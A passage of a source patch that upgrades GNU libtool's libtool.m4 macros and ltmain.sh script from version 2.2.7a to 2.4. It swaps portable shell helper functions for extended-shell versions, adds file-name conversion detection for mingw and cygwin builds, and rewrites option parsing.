-- func_basename_result="${1##*/}"
--}
--
--# func_dirname_and_basename file append nondir_replacement
--# perform func_basename and func_dirname in a single function
--# call:
--# dirname: Compute the dirname of FILE. If nonempty,
--# add APPEND to the result, otherwise set result
--# to NONDIR_REPLACEMENT.
--# value returned in "$func_dirname_result"
--# basename: Compute filename of FILE.
--# value retuned in "$func_basename_result"
--# Implementation must be kept synchronized with func_dirname
--# and func_basename. For efficiency, we do not delegate to
--# those functions but instead duplicate the functionality here.
--func_dirname_and_basename ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
-- func_basename_result="${1##*/}"
--}
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--func_stripname ()
--{
-- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
-- # positional parameters, so assign one to ordinary parameter first.
-- func_stripname_result=${3}
-- func_stripname_result=${func_stripname_result#"${1}"}
-- func_stripname_result=${func_stripname_result%"${2}"}
--}
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=${1%%=*}
-- func_opt_split_arg=${1#*=}
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- case ${1} in
-- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
-- *) func_lo2o_result=${1} ;;
-- esac
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=${1%.*}.lo
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=$(( $[*] ))
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=${#1}
--}
-+# _LT_PROG_FUNCTION_REPLACE (FUNCNAME, REPLACEMENT-BODY)
-+# ------------------------------------------------------
-+# In `$cfgfile', look for function FUNCNAME delimited by `^FUNCNAME ()$' and
-+# '^} FUNCNAME ', and replace its body with REPLACEMENT-BODY.
-+m4_defun([_LT_PROG_FUNCTION_REPLACE],
-+[dnl {
-+sed -e '/^$1 ()$/,/^} # $1 /c\
-+$1 ()\
-+{\
-+m4_bpatsubsts([$2], [$], [\\], [^\([ ]\)], [\\\1])
-+} # Extended-shell $1 implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+])
-
--_LT_EOF
-- ;;
-- *) # Bourne compatible functions.
-- cat << \_LT_EOF >> "$cfgfile"
-
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- # Extract subdirectory from the argument.
-- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
-- if test "X$func_dirname_result" = "X${1}"; then
-- func_dirname_result="${3}"
-- else
-- func_dirname_result="$func_dirname_result${2}"
-- fi
--}
-+# _LT_PROG_REPLACE_SHELLFNS
-+# -------------------------
-+# Replace existing portable implementations of several shell functions with
-+# equivalent extended shell implementations where those features are available..
-+m4_defun([_LT_PROG_REPLACE_SHELLFNS],
-+[if test x"$xsi_shell" = xyes; then
-+ _LT_PROG_FUNCTION_REPLACE([func_dirname], [dnl
-+ case ${1} in
-+ */*) func_dirname_result="${1%/*}${2}" ;;
-+ * ) func_dirname_result="${3}" ;;
-+ esac])
-+
-+ _LT_PROG_FUNCTION_REPLACE([func_basename], [dnl
-+ func_basename_result="${1##*/}"])
-+
-+ _LT_PROG_FUNCTION_REPLACE([func_dirname_and_basename], [dnl
-+ case ${1} in
-+ */*) func_dirname_result="${1%/*}${2}" ;;
-+ * ) func_dirname_result="${3}" ;;
-+ esac
-+ func_basename_result="${1##*/}"])
-
--# func_basename file
--func_basename ()
--{
-- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
--}
-+ _LT_PROG_FUNCTION_REPLACE([func_stripname], [dnl
-+ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
-+ # positional parameters, so assign one to ordinary parameter first.
-+ func_stripname_result=${3}
-+ func_stripname_result=${func_stripname_result#"${1}"}
-+ func_stripname_result=${func_stripname_result%"${2}"}])
-
--dnl func_dirname_and_basename
--dnl A portable version of this function is already defined in general.m4sh
--dnl so there is no need for it here.
-+ _LT_PROG_FUNCTION_REPLACE([func_split_long_opt], [dnl
-+ func_split_long_opt_name=${1%%=*}
-+ func_split_long_opt_arg=${1#*=}])
-
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--# func_strip_suffix prefix name
--func_stripname ()
--{
-- case ${2} in
-- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-- esac
--}
-+ _LT_PROG_FUNCTION_REPLACE([func_split_short_opt], [dnl
-+ func_split_short_opt_arg=${1#??}
-+ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}])
-
--# sed scripts:
--my_sed_long_opt='1s/^\(-[[^=]]*\)=.*/\1/;q'
--my_sed_long_arg='1s/^-[[^=]]*=//'
-+ _LT_PROG_FUNCTION_REPLACE([func_lo2o], [dnl
-+ case ${1} in
-+ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
-+ *) func_lo2o_result=${1} ;;
-+ esac])
-
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
-- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
--}
-+ _LT_PROG_FUNCTION_REPLACE([func_xform], [ func_xform_result=${1%.*}.lo])
-
--# func_lo2o object
--func_lo2o ()
--{
-- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
--}
-+ _LT_PROG_FUNCTION_REPLACE([func_arith], [ func_arith_result=$(( $[*] ))])
-
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=`$ECHO "${1}" | $SED 's/\.[[^.]]*$/.lo/'`
--}
-+ _LT_PROG_FUNCTION_REPLACE([func_len], [ func_len_result=${#1}])
-+fi
-
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=`expr "$[@]"`
--}
-+if test x"$lt_shell_append" = xyes; then
-+ _LT_PROG_FUNCTION_REPLACE([func_append], [ eval "${1}+=\\${2}"])
-
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=`expr "$[1]" : ".*" 2>/dev/null || echo $max_cmd_len`
--}
-+ _LT_PROG_FUNCTION_REPLACE([func_append_quoted], [dnl
-+ func_quote_for_eval "${2}"
-+dnl m4 expansion turns \\\\ into \\, and then the shell eval turns that into \
-+ eval "${1}+=\\\\ \\$func_quote_for_eval_result"])
-
--_LT_EOF
--esac
-+ # Save a `func_append' function call where possible by direct use of '+='
-+ sed -e 's%func_append \([[a-zA-Z_]]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+else
-+ # Save a `func_append' function call even when '+=' is not available
-+ sed -e 's%func_append \([[a-zA-Z_]]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+fi
-
--case $lt_shell_append in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
-+if test x"$_lt_function_replace_fail" = x":"; then
-+ AC_MSG_WARN([Unable to substitute extended shell functions in $ofile])
-+fi
-+])
-
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$[1]+=\$[2]"
--}
--_LT_EOF
-+# _LT_PATH_CONVERSION_FUNCTIONS
-+# -----------------------------
-+# Determine which file name conversion functions should be used by
-+# func_to_host_file (and, implicitly, by func_to_host_path). These are needed
-+# for certain cross-compile configurations and native mingw.
-+m4_defun([_LT_PATH_CONVERSION_FUNCTIONS],
-+[AC_REQUIRE([AC_CANONICAL_HOST])dnl
-+AC_REQUIRE([AC_CANONICAL_BUILD])dnl
-+AC_MSG_CHECKING([how to convert $build file names to $host format])
-+AC_CACHE_VAL(lt_cv_to_host_file_cmd,
-+[case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
-+ ;;
-+ esac
- ;;
-- *)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$[1]=\$$[1]\$[2]"
--}
--
--_LT_EOF
-+ *-*-cygwin* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
-+ ;;
-+ esac
- ;;
-- esac
-+ * ) # unhandled hosts (and "normal" native builds)
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+esac
-+])
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+AC_MSG_RESULT([$lt_cv_to_host_file_cmd])
-+_LT_DECL([to_host_file_cmd], [lt_cv_to_host_file_cmd],
-+ [0], [convert $build file names to $host format])dnl
-+
-+AC_MSG_CHECKING([how to convert $build file names to toolchain format])
-+AC_CACHE_VAL(lt_cv_to_tool_file_cmd,
-+[#assume ordinary cross tools, or native build.
-+lt_cv_to_tool_file_cmd=func_convert_file_noop
-+case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ esac
-+ ;;
-+esac
- ])
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+AC_MSG_RESULT([$lt_cv_to_tool_file_cmd])
-+_LT_DECL([to_tool_file_cmd], [lt_cv_to_tool_file_cmd],
-+ [0], [convert $build files to toolchain format])dnl
-+])# _LT_PATH_CONVERSION_FUNCTIONS
-diff --git a/ltmain.sh b/ltmain.sh
-index 9503ec85d7..70e856e065 100644
---- a/ltmain.sh
-+++ b/ltmain.sh
-@@ -1,10 +1,9 @@
--# Generated from ltmain.m4sh.
-
--# libtool (GNU libtool 1.3134 2009-11-29) 2.2.7a
-+# libtool (GNU libtool) 2.4
- # Written by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
-
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005, 2006,
--# 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2007, 2008, 2009, 2010 Free Software Foundation, Inc.
- # This is free software; see the source for copying conditions. There is NO
- # warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-
-@@ -38,7 +37,6 @@
- # -n, --dry-run display commands without modifying any files
- # --features display basic configuration information and exit
- # --mode=MODE use operation mode MODE
--# --no-finish let install mode avoid finish commands
- # --preserve-dup-deps don't remove duplicate dependency libraries
- # --quiet, --silent don't print informational messages
- # --no-quiet, --no-silent
-@@ -71,17 +69,19 @@
- # compiler: $LTCC
- # compiler flags: $LTCFLAGS
- # linker: $LD (gnu? $with_gnu_ld)
--# $progname: (GNU libtool 1.3134 2009-11-29) 2.2.7a
-+# $progname: (GNU libtool) 2.4
- # automake: $automake_version
- # autoconf: $autoconf_version
- #
- # Report bugs to <bug-libtool@gnu.org>.
-+# GNU libtool home page: <http://www.gnu.org/software/libtool/>.
-+# General help using GNU software: <http://www.gnu.org/gethelp/>.
-
- PROGRAM=libtool
- PACKAGE=libtool
--VERSION=2.2.7a
--TIMESTAMP=" 1.3134 2009-11-29"
--package_revision=1.3134
-+VERSION=2.4
-+TIMESTAMP=""
-+package_revision=1.3293
-
- # Be Bourne compatible
- if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then
-@@ -106,9 +106,6 @@ _LTECHO_EOF'
- }
-
- # NLS nuisances: We save the old values to restore during execute mode.
--# Only set LANG and LC_ALL to C if already set.
--# These must not be set unconditionally because not all systems understand
--# e.g. LANG=C (notably SCO).
- lt_user_locale=
- lt_safe_locale=
- for lt_var in LANG LANGUAGE LC_ALL LC_CTYPE LC_COLLATE LC_MESSAGES
-@@ -121,15 +118,13 @@ do
- lt_safe_locale=\"$lt_var=C; \$lt_safe_locale\"
- fi"
- done
-+LC_ALL=C
-+LANGUAGE=C
-+export LANGUAGE LC_ALL
-
- $lt_unset CDPATH
-
-
--
--
--
--
--
- # Work around backward compatibility issue on IRIX 6.5. On IRIX 6.4+, sh
- # is ksh but when the shell is invoked as "sh" and the current value of
- # the _XPG environment variable is not equal to 1 (one), the special
-@@ -140,7 +135,7 @@ progpath="$0"
-
-
- : ${CP="cp -f"}
--: ${ECHO=$as_echo}
-+test "${ECHO+set}" = set || ECHO=${as_echo-'printf %s\n'}
- : ${EGREP="/bin/grep -E"}
- : ${FGREP="/bin/grep -F"}
- : ${GREP="/bin/grep"}
-@@ -149,7 +144,7 @@ progpath="$0"
- : ${MKDIR="mkdir"}
- : ${MV="mv -f"}
- : ${RM="rm -f"}
--: ${SED="/mount/endor/wildenhu/local-x86_64/bin/sed"}
-+: ${SED="/bin/sed"}
- : ${SHELL="${CONFIG_SHELL-/bin/sh}"}
- : ${Xsed="$SED -e 1s/^X//"}
-
-@@ -169,6 +164,27 @@ IFS=" $lt_nl"
- dirname="s,/[^/]*$,,"
- basename="s,^.*/,,"
-
-+# func_dirname file append nondir_replacement
-+# Compute the dirname of FILE. If nonempty, add APPEND to the result,
-+# otherwise set result to NONDIR_REPLACEMENT.
-+func_dirname ()
-+{
-+ func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
-+ if test "X$func_dirname_result" = "X${1}"; then
-+ func_dirname_result="${3}"
-+ else
-+ func_dirname_result="$func_dirname_result${2}"
-+ fi
-+} # func_dirname may be replaced by extended shell implementation
-+
-+
-+# func_basename file
-+func_basename ()
-+{
-+ func_basename_result=`$ECHO "${1}" | $SED "$basename"`
-+} # func_basename may be replaced by extended shell implementation
-+
-+
- # func_dirname_and_basename file append nondir_replacement
- # perform func_basename and func_dirname in a single function
- # call:
-@@ -183,17 +199,31 @@ basename="s,^.*/,,"
- # those functions but instead duplicate the functionality here.
- func_dirname_and_basename ()
- {
-- # Extract subdirectory from the argument.
-- func_dirname_result=`$ECHO "${1}" | $SED -e "$dirname"`
-- if test "X$func_dirname_result" = "X${1}"; then
-- func_dirname_result="${3}"
-- else
-- func_dirname_result="$func_dirname_result${2}"
-- fi
-- func_basename_result=`$ECHO "${1}" | $SED -e "$basename"`
--}
-+ # Extract subdirectory from the argument.
-+ func_dirname_result=`$ECHO "${1}" | $SED -e "$dirname"`
-+ if test "X$func_dirname_result" = "X${1}"; then
-+ func_dirname_result="${3}"
-+ else
-+ func_dirname_result="$func_dirname_result${2}"
-+ fi
-+ func_basename_result=`$ECHO "${1}" | $SED -e "$basename"`
-+} # func_dirname_and_basename may be replaced by extended shell implementation
-+
-+
-+# func_stripname prefix suffix name
-+# strip PREFIX and SUFFIX off of NAME.
-+# PREFIX and SUFFIX must not contain globbing or regex special
-+# characters, hashes, percent signs, but SUFFIX may contain a leading
-+# dot (in which case that matches only a dot).
-+# func_strip_suffix prefix name
-+func_stripname ()
-+{
-+ case ${2} in
-+ .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-+ *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-+ esac
-+} # func_stripname may be replaced by extended shell implementation
-
--# Generated shell functions inserted here.
-
- # These SED scripts presuppose an absolute path with a trailing slash.
- pathcar='s,^/\([^/]*\).*$,\1,'
-@@ -376,6 +406,15 @@ sed_quote_subst='s/\([`"$\\]\)/\\\1/g'
- # Same as above, but do not quote variable references.
- double_quote_subst='s/\(["`\\]\)/\\\1/g'
-
-+# Sed substitution that turns a string into a regex matching for the
-+# string literally.
-+sed_make_literal_regex='s,[].[^$\\*\/],\\&,g'
-+
-+# Sed substitution that converts a w32 file name or path
-+# which contains forward slashes, into one that contains
-+# (escaped) backslashes. A very naive implementation.
-+lt_sed_naive_backslashify='s|\\\\*|\\|g;s|/|\\|g;s|\\|\\\\|g'
-+
- # Re-`\' parameter expansions in output of double_quote_subst that were
- # `\'-ed in input to the same. If an odd number of `\' preceded a '$'
- # in input to double_quote_subst, that '$' was protected from expansion.
-@@ -404,7 +443,7 @@ opt_warning=:
- # name if it has been set yet.
- func_echo ()
- {
-- $ECHO "$progname${mode+: }$mode: $*"
-+ $ECHO "$progname: ${opt_mode+$opt_mode: }$*"
- }
-
- # func_verbose arg...
-@@ -430,14 +469,14 @@ func_echo_all ()
- # Echo program name prefixed message to standard error.
- func_error ()
- {
-- $ECHO "$progname${mode+: }$mode: "${1+"$@"} 1>&2
-+ $ECHO "$progname: ${opt_mode+$opt_mode: }"${1+"$@"} 1>&2
- }
-
- # func_warning arg...
- # Echo program name prefixed warning message to standard error.
- func_warning ()
- {
-- $opt_warning && $ECHO "$progname${mode+: }$mode: warning: "${1+"$@"} 1>&2
-+ $opt_warning && $ECHO "$progname: ${opt_mode+$opt_mode: }warning: "${1+"$@"} 1>&2
-
- # bash bug again:
- :
-@@ -656,19 +695,35 @@ func_show_eval_locale ()
- fi
- }
-
--
--
-+# func_tr_sh
-+# Turn $1 into a string suitable for a shell variable name.
-+# Result is stored in $func_tr_sh_result. All characters
-+# not in the set a-zA-Z0-9_ are replaced with '_'. Further,
-+# if $1 begins with a digit, a '_' is prepended as well.
-+func_tr_sh ()
-+{
-+ case $1 in
-+ [0-9]* | *[!a-zA-Z0-9_]*)
-+ func_tr_sh_result=`$ECHO "$1" | $SED 's/^\([0-9]\)/_\1/; s/[^a-zA-Z0-9_]/_/g'`
-+ ;;
-+ * )
-+ func_tr_sh_result=$1
-+ ;;
-+ esac
-+}
-
-
- # func_version
- # Echo version message to standard output and exit.
- func_version ()
- {
-+ $opt_debug
-+
- $SED -n '/(C)/!b go
- :more
- /\./!{
- N
-- s/\n# //
-+ s/\n# / /
- b more
- }
- :go
-@@ -685,7 +740,9 @@ func_version ()
- # Echo short help message to standard output and exit.
- func_usage ()
- {
-- $SED -n '/^# Usage:/,/^# *-h/ {
-+ $opt_debug
-+
-+ $SED -n '/^# Usage:/,/^# *.*--help/ {
- s/^# //
- s/^# *$//
- s/\$progname/'$progname'/
-@@ -701,7 +758,10 @@ func_usage ()
- # unless 'noexit' is passed as argument.
- func_help ()
- {
-+ $opt_debug
-+
- $SED -n '/^# Usage:/,/# Report bugs to/ {
-+ :print
- s/^# //
- s/^# *$//
- s*\$progname*'$progname'*
-@@ -714,7 +774,11 @@ func_help ()
- s/\$automake_version/'"`(automake --version) 2>/dev/null |$SED 1q`"'/
- s/\$autoconf_version/'"`(autoconf --version) 2>/dev/null |$SED 1q`"'/
- p
-- }' < "$progpath"
-+ d
-+ }
-+ /^# .* home page:/b print
-+ /^# General help using/b print
-+ ' < "$progpath"
- ret=$?
- if test -z "$1"; then
- exit $ret
-@@ -726,12 +790,39 @@ func_help ()
- # exit_cmd.
- func_missing_arg ()
- {
-- func_error "missing argument for $1"
-+ $opt_debug
-+
-+ func_error "missing argument for $1."
- exit_cmd=exit
- }
-
--exit_cmd=:
-
-+# func_split_short_opt shortopt
-+# Set func_split_short_opt_name and func_split_short_opt_arg shell
-+# variables after splitting SHORTOPT after the 2nd character.
-+func_split_short_opt ()
-+{
-+ my_sed_short_opt='1s/^\(..\).*$/\1/;q'
-+ my_sed_short_rest='1s/^..\(.*\)$/\1/;q'
-+
-+ func_split_short_opt_name=`$ECHO "$1" | $SED "$my_sed_short_opt"`
-+ func_split_short_opt_arg=`$ECHO "$1" | $SED "$my_sed_short_rest"`
-+} # func_split_short_opt may be replaced by extended shell implementation
-+
-+
-+# func_split_long_opt longopt
-+# Set func_split_long_opt_name and func_split_long_opt_arg shell
-+# variables after splitting LONGOPT at the `=' sign.
-+func_split_long_opt ()
-+{
-+ my_sed_long_opt='1s/^\(--[^=]*\)=.*/\1/;q'
-+ my_sed_long_arg='1s/^--[^=]*=//'
-+
-+ func_split_long_opt_name=`$ECHO "$1" | $SED "$my_sed_long_opt"`
-+ func_split_long_opt_arg=`$ECHO "$1" | $SED "$my_sed_long_arg"`
-+} # func_split_long_opt may be replaced by extended shell implementation
-+
-+exit_cmd=:
-
-
-
-@@ -741,26 +832,64 @@ magic="%%%MAGIC variable%%%"
- magic_exe="%%%MAGIC EXE variable%%%"
-
- # Global variables.
--# $mode is unset
- nonopt=
--execute_dlfiles=
- preserve_args=
- lo2o="s/\\.lo\$/.${objext}/"
- o2lo="s/\\.${objext}\$/.lo/"
- extracted_archives=
- extracted_serial=0
-
--opt_dry_run=false
--opt_finish=:
--opt_duplicate_deps=false
--opt_silent=false
--opt_debug=:
--
- # If this variable is set in any of the actions, the command in it
- # will be execed at the end. This prevents here-documents from being
- # left over by shells.
- exec_cmd=
-
-+# func_append var value
-+# Append VALUE to the end of shell variable VAR.
-+func_append ()
-+{
-+ eval "${1}=\$${1}\${2}"
-+} # func_append may be replaced by extended shell implementation
-+
-+# func_append_quoted var value
-+# Quote VALUE and append to the end of shell variable VAR, separated
-+# by a space.
-+func_append_quoted ()
-+{
-+ func_quote_for_eval "${2}"
-+ eval "${1}=\$${1}\\ \$func_quote_for_eval_result"
-+} # func_append_quoted may be replaced by extended shell implementation
-+
-+
-+# func_arith arithmetic-term...
-+func_arith ()
-+{
-+ func_arith_result=`expr "${@}"`
-+} # func_arith may be replaced by extended shell implementation
-+
-+
-+# func_len string
-+# STRING may not start with a hyphen.
-+func_len ()
-+{
-+ func_len_result=`expr "${1}" : ".*" 2>/dev/null || echo $max_cmd_len`
-+} # func_len may be replaced by extended shell implementation
-+
-+
-+# func_lo2o object
-+func_lo2o ()
-+{
-+ func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
-+} # func_lo2o may be replaced by extended shell implementation
-+
-+
-+# func_xform libobj-or-source
-+func_xform ()
-+{
-+ func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
-+} # func_xform may be replaced by extended shell implementation
-+
-+
- # func_fatal_configuration arg...
- # Echo program name prefixed message to standard error, followed by
- # a configuration failure hint, and exit.
-@@ -850,130 +979,204 @@ func_enable_tag ()
- esac
- }
-
--# Parse options once, thoroughly. This comes as soon as possible in
--# the script to make things like `libtool --version' happen quickly.
-+# func_check_version_match
-+# Ensure that we are using m4 macros, and libtool script from the same
-+# release of libtool.
-+func_check_version_match ()
- {
-+ if test "$package_revision" != "$macro_revision"; then
-+ if test "$VERSION" != "$macro_version"; then
-+ if test -z "$macro_version"; then
-+ cat >&2 <<_LT_EOF
-+$progname: Version mismatch error. This is $PACKAGE $VERSION, but the
-+$progname: definition of this LT_INIT comes from an older release.
-+$progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION
-+$progname: and run autoconf again.
-+_LT_EOF
-+ else
-+ cat >&2 <<_LT_EOF
-+$progname: Version mismatch error. This is $PACKAGE $VERSION, but the
-+$progname: definition of this LT_INIT comes from $PACKAGE $macro_version.
-+$progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION
-+$progname: and run autoconf again.
-+_LT_EOF
-+ fi
-+ else
-+ cat >&2 <<_LT_EOF
-+$progname: Version mismatch error. This is $PACKAGE $VERSION, revision $package_revision,
-+$progname: but the definition of this LT_INIT comes from revision $macro_revision.
-+$progname: You should recreate aclocal.m4 with macros from revision $package_revision
-+$progname: of $PACKAGE $VERSION and run autoconf again.
-+_LT_EOF
-+ fi
-
-- # Shorthand for --mode=foo, only valid as the first argument
-- case $1 in
-- clean|clea|cle|cl)
-- shift; set dummy --mode clean ${1+"$@"}; shift
-- ;;
-- compile|compil|compi|comp|com|co|c)
-- shift; set dummy --mode compile ${1+"$@"}; shift
-- ;;
-- execute|execut|execu|exec|exe|ex|e)
-- shift; set dummy --mode execute ${1+"$@"}; shift
-- ;;
-- finish|finis|fini|fin|fi|f)
-- shift; set dummy --mode finish ${1+"$@"}; shift
-- ;;
-- install|instal|insta|inst|ins|in|i)
-- shift; set dummy --mode install ${1+"$@"}; shift
-- ;;
-- link|lin|li|l)
-- shift; set dummy --mode link ${1+"$@"}; shift
-- ;;
-- uninstall|uninstal|uninsta|uninst|unins|unin|uni|un|u)
-- shift; set dummy --mode uninstall ${1+"$@"}; shift
-- ;;
-- esac
-+ exit $EXIT_MISMATCH
-+ fi
-+}
-+
-+
-+# Shorthand for --mode=foo, only valid as the first argument
-+case $1 in
-+clean|clea|cle|cl)
-+ shift; set dummy --mode clean ${1+"$@"}; shift
-+ ;;
-+compile|compil|compi|comp|com|co|c)
-+ shift; set dummy --mode compile ${1+"$@"}; shift
-+ ;;
-+execute|execut|execu|exec|exe|ex|e)
-+ shift; set dummy --mode execute ${1+"$@"}; shift
-+ ;;
-+finish|finis|fini|fin|fi|f)
-+ shift; set dummy --mode finish ${1+"$@"}; shift
-+ ;;
-+install|instal|insta|inst|ins|in|i)
-+ shift; set dummy --mode install ${1+"$@"}; shift
-+ ;;
-+link|lin|li|l)
-+ shift; set dummy --mode link ${1+"$@"}; shift
-+ ;;
-+uninstall|uninstal|uninsta|uninst|unins|unin|uni|un|u)
-+ shift; set dummy --mode uninstall ${1+"$@"}; shift
-+ ;;
-+esac
-
-- # Parse non-mode specific arguments:
-- while test "$#" -gt 0; do
-+
-+
-+# Option defaults:
-+opt_debug=:
-+opt_dry_run=false
-+opt_config=false
-+opt_preserve_dup_deps=false
-+opt_features=false
-+opt_finish=false
-+opt_help=false
-+opt_help_all=false
-+opt_silent=:
-+opt_verbose=:
-+opt_silent=false
-+opt_verbose=false
-+
-+
-+# Parse options once, thoroughly. This comes as soon as possible in the
-+# script to make things like `--version' happen as quickly as we can.
-+{
-+ # this just eases exit handling
-+ while test $# -gt 0; do
- opt="$1"
- shift
--
- case $opt in
-- --config) func_config ;;
--
-- --debug) preserve_args="$preserve_args $opt"
-+ --debug|-x) opt_debug='set -x'
- func_echo "enabling shell trace mode"
-- opt_debug='set -x'
- $opt_debug
- ;;
--
-- -dlopen) test "$#" -eq 0 && func_missing_arg "$opt" && break
-- execute_dlfiles="$execute_dlfiles $1"
-- shift
-+ --dry-run|--dryrun|-n)
-+ opt_dry_run=:
- ;;
--
-- --dry-run | -n) opt_dry_run=: ;;
-- --features) func_features ;;
-- --finish) mode="finish" ;;
-- --no-finish) opt_finish=false ;;
--
-- --mode) test "$#" -eq 0 && func_missing_arg "$opt" && break
-- case $1 in
-- # Valid mode arguments:
-- clean) ;;
-- compile) ;;
-- execute) ;;
-- finish) ;;
-- install) ;;
-- link) ;;
-- relink) ;;
-- uninstall) ;;
--
-- # Catch anything else as an error
-- *) func_error "invalid argument for $opt"
-- exit_cmd=exit
-- break
-- ;;
-- esac
--
-- mode="$1"
-+ --config)
-+ opt_config=:
-+func_config
-+ ;;
-+ --dlopen|-dlopen)
-+ optarg="$1"
-+ opt_dlopen="${opt_dlopen+$opt_dlopen
-+}$optarg"
- shift
- ;;
--
- --preserve-dup-deps)
-- opt_duplicate_deps=: ;;
--
-- --quiet|--silent) preserve_args="$preserve_args $opt"
-- opt_silent=:
-- opt_verbose=false
-+ opt_preserve_dup_deps=:
- ;;
--
-- --no-quiet|--no-silent)
-- preserve_args="$preserve_args $opt"
-- opt_silent=false
-+ --features)
-+ opt_features=:
-+func_features
- ;;
--
-- --verbose| -v) preserve_args="$preserve_args $opt"
-+ --finish)
-+ opt_finish=:
-+set dummy --mode finish ${1+"$@"}; shift
-+ ;;
-+ --help)
-+ opt_help=:
-+ ;;
-+ --help-all)
-+ opt_help_all=:
-+opt_help=': help-all'
-+ ;;
-+ --mode)
-+ test $# = 0 && func_missing_arg $opt && break
-+ optarg="$1"
-+ opt_mode="$optarg"
-+case $optarg in
-+ # Valid mode arguments:
-+ clean|compile|execute|finish|install|link|relink|uninstall) ;;
-+
-+ # Catch anything else as an error
-+ *) func_error "invalid argument for $opt"
-+ exit_cmd=exit
-+ break
-+ ;;
-+esac
-+ shift
-+ ;;
-+ --no-silent|--no-quiet)
- opt_silent=false
-- opt_verbose=:
-+func_append preserve_args " $opt"
- ;;
--
-- --no-verbose) preserve_args="$preserve_args $opt"
-+ --no-verbose)
- opt_verbose=false
-+func_append preserve_args " $opt"
- ;;
--
-- --tag) test "$#" -eq 0 && func_missing_arg "$opt" && break
-- preserve_args="$preserve_args $opt $1"
-- func_enable_tag "$1" # tagname is set here
-+ --silent|--quiet)
-+ opt_silent=:
-+func_append preserve_args " $opt"
-+ opt_verbose=false
-+ ;;
